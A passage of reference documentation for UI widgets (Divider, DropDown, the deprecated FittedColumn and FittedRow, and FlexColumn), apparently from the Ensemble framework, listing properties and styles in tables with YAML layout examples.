`cyan` `indigo` `lime` `orange` | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - ---- - - -# Divider - -The Divider Widget is a simple, horizontal or vertical line that separates content visually within your application's layout. It is primarily used to create a clear distinction between different sections or components, improving the overall readability and organization of the interface. Common use cases include separating items in lists, forms, or between groups of content in both web and mobile applications. - -Below is a preview of the Divider in action: - ---- - -# DropDown widget - -The DropDown Widget enables the rendering of dropdown menus, providing users with a selectable list of options within your application for intuitive and efficient data selection. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) - -## Properties - -| Property | Type | Description | -|:-------------|:-----------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | string | Specifying the value of your Text Input | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| itemTemplate | [ItemTemplate](#ItemTemplate) | Use this to iterate through a data array and render each dropdown item, as well as specify the selected item's value | - -### ItemTemplate -| Property | Type | Description | -|:---------|:--------|:--------------------------------------------------------------------------------------------------------------------------------------| -| data | array | Specify an array of data (or an expression that resolves to an array).
    The system will iterate through each item in this array | -| name | string | As the system iterate through the data, you can reference each item's data using this name | -| template | Widget | The widget to be rendered for each dropdown item in the data array. The widget can reference the data using the name specified above. | -| value | string | Specify the expression to evaluate as each item's value. This will be the value when a dropdown item is selected. | - -## Styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| textStyle | [TextStyle](#TextStyle) | Styling for the selected text | -| dropdownBackgroundColor | integer or string | Sets the background color of the panel with the list of options that appears when the dropdown is open, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| dropdownOffsetX | integer | X-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownOffsetY | integer | Y-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderRadius | integer | Border radius of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderColor | integer or string | Border color of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderWidth | integer | Border width of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownMaxHeight | integer | Maximum height of the panel with the list of options that appears when the dropdown or autocomplete is open | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# FittedColumn (deprecated) -This widget is deprecated. Please use [FlexColumn](/pages/widgets/flex-column.md) instead. - -Stretch to fit the parent (the parent is required to have a predetermined height), then distribute the vertical spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------- | -| children | array | List of widgets | -| onTap | action | Call Ensemble's built-in functions or execute code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# FittedRow (deprecated) -This widget is deprecated. Please use [FlexRow](/pages/widgets/flex-row.md) instead. - -Stretch to fit the parent (the parent is required to have a predetermined width), then distribute the horizontal spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------- | -| children | array | List of widgets | -| onTap | action | Call Ensemble's built-in functions or execute code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or Object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# FlexColumn - -FlexColumn is designed to lay out child widgets vertically and proportionally from the available space given by its parent. By default, FlexColumn assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. - -## Best Practices -- Use FlexColumn when you need a vertical layout with proportional space distribution among the children. -- **Avoid** using FlexColumn in a scrollable parent, such as a ListView or a scrollable Column, without a fixed height, as it will lead to layout issues. FlexColumn and its children need to be constrained to a definite size to properly calculate the flex distribution. -- **Avoid** using FlexColumn in another Column. Column does not constrain its children's dimensions, which FlexColumn requires to calculate the flex distribution. Instead consider giving the FlexColumn a height or use all FlexColumn(s) up the parent chain. - -## Key Concepts - -- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexColumn have a flex value of 1 unless specified. -- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. - - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). - - `flexible`: The child occupies only the space it needs, up to its flex factor. - - `none`: The child occupies the space it needs (flex factor is ignored). -- When laying out its children, `FlexColumn` follows this specific order: - - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). - - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. - - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. - -## Caveats -- **FlexColumn width**: Note that setting a width for a FlexColumn acts more like a maximum width constraint. The FlexColumn determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. - If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. - - -## Usage - -A simple FlexColumn with three child widgets, each taking up equal space (all have flex=1 by default): - -```yaml -FlexColumn: - children: - - Text: - text: Child 1 - - Text: - text: Child 2 - - Text: - text: Child 3 -``` - -Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": - -```yaml -FlexColumn: - children: - - Text: - text: Child 1 # default flex=1 since not specified - - Text: - text: Child 2 - styles: - flex: 2 - - Text: - text: Child 3 - styles: - flex: 1 -``` - -Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): - -```yaml -FlexColumn: - children: - - Text: - text: Flexible Child - styles: - flexMode: flexible - - Text: - text: Expanded Child - styles: - flex: 2 - flexMode: expanded - -``` - -## Related -- See [FlexRow](#flexrow) for a similar layout in the horizontal direction. -- See [Column](#column-widget) for a more generic and scrollable container for laying out children vertically. - -## Reference -#### Properties - -| Property | Type | Description | -|----------------------------------|----------------------------------------|----------------------------------------------------------| -| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | -| onTap | Action | An action that is triggered when the widget is tapped. | -| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | -| styles | object | [See properties](#styles) | - -#### Styles - -| Style Property | Type | Description | -|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| -| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | -| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | -| mainAxisSize | MainAxisSize | How to size the container along the main axis. | -| gap | integer | The gap between child widgets, in logical pixels. | -| fontFamily | string | The font family to use for text within the widget. | -| fontSize | integer | The size of the font to use for text within the widget. | -| width | integer | The width of the widget, in logical pixels. | -| height | integer | The height of the widget, in logical pixels. | -| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | -| boxShadow | BoxShadow | Shadow properties for the widget. | -| borderRadius | BorderRadius | The radius of the widget's corners. | -| borderColor | [Color](#Color) | The color of the widget's border. | -| borderWidth | integer | The width of the widget's border, in logical pixels. | -| backgroundColor | [Color](#Color) | The widget's background color. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| padding | Padding | Padding inside the widget, affecting its child widgets. | -| margin | Margin | Margin outside the widget, affecting its position relative to others. | -| flex | integer | Applicable only inside FlexRow or FlexColumn. Determines the space allocated to this widget relative to its siblings. | -| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | -| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | -| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | -| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | -| alignment | Alignment | Aligns this widget relative to its parent. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | -| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | -| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | -| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | -| captureWebPointer | boolean 